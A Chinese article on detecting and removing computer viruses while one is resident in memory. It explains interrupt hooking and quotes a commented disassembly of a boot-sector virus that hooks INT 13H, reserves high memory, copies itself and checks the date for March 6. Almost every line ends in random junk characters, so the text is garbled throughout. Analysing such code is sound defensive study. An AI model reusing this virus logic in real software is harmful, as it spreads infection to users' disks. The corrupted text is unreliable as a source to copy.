近年来,新的计算机病毒发展十分猖獗,而且这些新病毒更加隐蔽 、复杂,某些新病毒所具有的破坏性更大,所带来的损失无法估量 。这表明计算机病毒的防治尤为重要,同时所面临的形势也更加严 峻 。本文就在带毒环境下检测清除病毒的方法问题提出一点体会与看法 。 -#|J
?? Zm^4p{I%o*
?? 一 、 带毒环境下检测清除病毒的意义 8ZE{GX.m2c
?? S~/zBFo-
?? 目前在我国流行的病毒一般可分为引导型病毒 、文件型病毒和混合型病毒 。引导型病毒的特点是它寄生在软盘的DOS引导扇区和硬盘的主引导记录或DOS引导区中 ,开机时由计算机自动读入内存中执行文件型病毒则将自身附加在可执行文件上 ,在执行被感染程序时,病毒首先获得控制权,进行驻留或破坏等活动。混合型病毒既能感染引导区也能感染可执行文件,具有更强的传染性。常用的杀毒软件有瑞星2004、金山毒霸、KV300 、公安部的KILL 、美国McAfee公司的SCAN和CLEAN等 ,这些软件各有自身的优点。但是在一个带毒的环境下,也即在病毒已经驻留在内存中的情况下,这些杀毒软件都存在不足并可能带来一些不良的后果。 2VA\{M
?? ZFY t[:
?? 当系统感染一种已知病毒时,KILL和SCAN 发现内存中有病毒后,一般是拒绝继续执行,并要求用干净的盘重新启动。KV300发现类似的警告信息,但提供给用户一个选择的机会,以确定是否继续执行, 很显然 ,若用户选择继续 ,所带来的后果是不可预期的。 .{*V^[.
?? ;}ileLTl
?? 当系统感染一种未知病毒时,三种软件在未发现内存中有已知病毒后,都假设系统中无病毒,忠实地执行检测或清除功能。事实上,这个未知病毒可能会在检测时传染盘中所有的可执行文件。 mn)kd
??
]8<;,}#
?? 由上面的讨论可知,清查病毒时只有从绝对干净的盘启动,而且要求杀毒软件自身无毒,才能够保证万无一失。然而,由于人们相互拷贝各种软件,很大程度上帮助了病毒的传播,在许多情况下, 要获得一张干净的启动盘很不容易,并且对于一些对计算机系统了解不是很多的使用者来说,他们根本 无法断定一张启动盘是不是干净的。因此,探讨在带毒环境下进行病毒检测和清除的方法是很有意义的 。 hj4Kv
?? MkF:1-=L
?? 二 、带毒环境下检测清除病毒的原理 YFL9Q<
?? *O+G}_}
?? 对于一个驻留内存伺机进行传染和破坏的病毒来说,一般都要截取某些中断向量,当其他程序调用这些中断时,病毒重新取得控制权,判断是否满足特定的条件,满足则激活传染或破坏部分,在条件不满足的情况下一般是调用原中断服务程序,实现正常的系统功能。
/MO|q
?? 引导型病毒常接管INT13H、08H、10H等中断;文件型病毒则常接管INT21H、24H、25H、26H、1CH 、13H、10H等中断。 gyondcF
1zl6Rwk^o
6$lj$8\
举一个例子: 该例子转自黑白网络"一个主引导区病毒的分析 作者:sinister " 4&2aJ_ 2y
病毒体: &+u)
+<&;(
JMP 01AF ;JMP到01AF AbC/
DB 00 ;病毒标计 @or&GcQ*
DW 00F5 ;此为搬到高位址后,远程跳转指令 wWQv]c%
DW 9F80 ;目的地,也就是跳下一个指令XOR AX,AX SoI"a^fY
DB 02 Kzfa4C
DW 0003 ;此为软盘识别标记,硬盘为0007 #%rXDGDS
DW EC59 ; rp (nGiI
DW F000 ;INT 13H的原入口 H~^am
. 2xN1=ug
. 4#{i
. dd@qk`Zl&A
. 06|+_
. ]g2Y/\)a
XOR AX,AX ;清除AX ]'3e#Cqeh
MOV DS,AX; ;让DS=0000 al.~[T-O+
CLI ;清I标志积存器 y+hC !-
MOV SS,AX ;把堆栈设为0000:7C00也就是开机 $WI=a-;_e
MOV AX,7C00 ;后载入引导分区表的地址,目前地址 nb9qVuAGU
MOV SP,AX ;开机时为0000:7CB6 =X'i^Q
STI ;设I标志积存器 y2bL!Y<s9
PUSH DS ;把DS=0000,AX=7C00压栈,留给0B33:024A !ZPaU11
PUSH AX ;用RETF,把程序转到引导或分区表位置 a$y=+4L
MOV AX,[004C] ;取中断向量表中,INT 13H的偏移位置 ,b%T[s7
MOV [7C0A],AX ;保存INT 13H的偏移位置,也就是存在 llXyM */
MOV AX,[004E] ;取INT 13H的段地址 T\55uQ
MOV [7C0C],AX ;存到010C bwR24>8lP
;以上是HOOK系统读写盘调用INT 13用病毒体替代原INT 13 hz\Fq1
;读写以便传播发作 D G}} S5
XbsEO>_Z'A
MOV AX,[0413] ;取得内存K数,放在AX {7LO|E}7
DEC AX ; p,.+i[V
DEC AX ;减2k内存 ^p?O1qTg
MOV [0413],AX ;存回,通常是638K *4"s,1?@BG
MOV CL,06 ; K4b#
y~@
SHL AX,CL ; gJ6C&8tl
MOV ES,AX ;算出减2K后病毒本体的位址 F:"<4hiA"
MOV [7C05],AX ;AX存入0105 a;jXMR
2It$ bz
;病毒常用手法将系统高段内存减少以便驻留 _h",,"p#o
;这样可以免于被其他程序覆盖 wg\*FfQn
{ K'QE0'x
MOV AX,000E ;病毒拦INT 13H B#9rqC
;ISR起始的偏移量 Z[[o u?c
MOV [004C],AX ; -]\cUQ0
MOV [004E],ES ;设原为病毒的INT 13H (\}>+qS[
MOV CX,01BE ;病毒长度为1BE ^|M\vO
MOV SI,7C00 ;从JMP 01AF开始 TO7%TW{L
XOR DI,DI ;DI=0 !*_5 B'
CLD ;清方向标志 v<c~
'?YzO
REPZ; Bt[OGa(q
MOVSB ;CX=1BE,将病毒自身搬移到高位址,目地是使其引导或 &(UVS0=Dp,
CS: ;分区表能载入0000:7C00正常运作 K<'L7>s3lA
JMP FAR [7C03] ;跳到为搬过后的位址 |-GmW SK_
XOR AX,AX ;清AX mZDL=p
MOV ES,AX ;ES=0000 yNMnByg3?
INT 13 ;复位磁盘 *u^N_y
PUSH CS ; b0|q@!z>
POP DS ;让DS=CS {KYbsD
MOV AX,0201 ;用INT 13H读一扇区,是引导,或分区表则 m`l3@Z
MOV BX,7C00 ;读到0000:7C00 ]@)T]
MOV CX,[0008] ;硬盘第0道,第7扇区 /*\pm!]._^
CMP CX,+07 ;比较是否从硬盘启动 , v,mBYaU
JNZ 0213 ;不是跳0213 JfS:K'
MOV DX,0080 ;第一硬盘C:第零面 SV*h9LL
INT 13 ;用INT 13号中断,读 ~?TGSD@(
JMP 023E ;跳023E比较日期,发作或正常开机 7714}%Z
MOV CX,[0008] ;软盘0道,第3扇区 Ta^l1]9.*
MOV DX,0100 ;A:的第0面 chv0\k"'
INT 13 ;INT 13读盘 Cg[]y1Ne
JB 023E ;失败跳023E ~=qJSb
PUSH CS m2{3j[
POPES ;让ES=CS ij&_>
MOV AX,0201 ; @| kBc.(]
MOV BX,0200 ; $Ay
j4|_-
MOV CX,0001 ; \lwYDPY:
MOV DX,0080 ; x-O9|%aRJ
INT 13 ;读入C:的分区表到0200,以便下面比较 :a3 +f5
JB 023E ;失败跳023E T7`9[
XOR SI,SI ;清SI ov>Rvy
CLD ;清方向标志以便比较 wN1%;~?7
LODSW ;载入一个WORD到AX gRA}sF
CMP AX,[BX] ;比较有无病毒存在..E9AC 72@lDY4cE
JNZ 0287 ;没有则跳0287传染 c#X9d8>
LODSW ;载入一个WORD到AX +rse,b&U(
CMP AX,[BX+02] ;再次确认..0000 (GB2("p`
JNZ 0287 ;没有跳0287 h&d%#6mB
XOR CX,CX ;清CX 2]W"sT[
MOV AH,04 ; a-w=LpVM
INT 1A ;取得日期 Ba==Ri8$
CMP DX,0306 ;是否为三月六日 Gh;Ju[6
JZ 024B ;是跳024B传染 C;7?TZ&x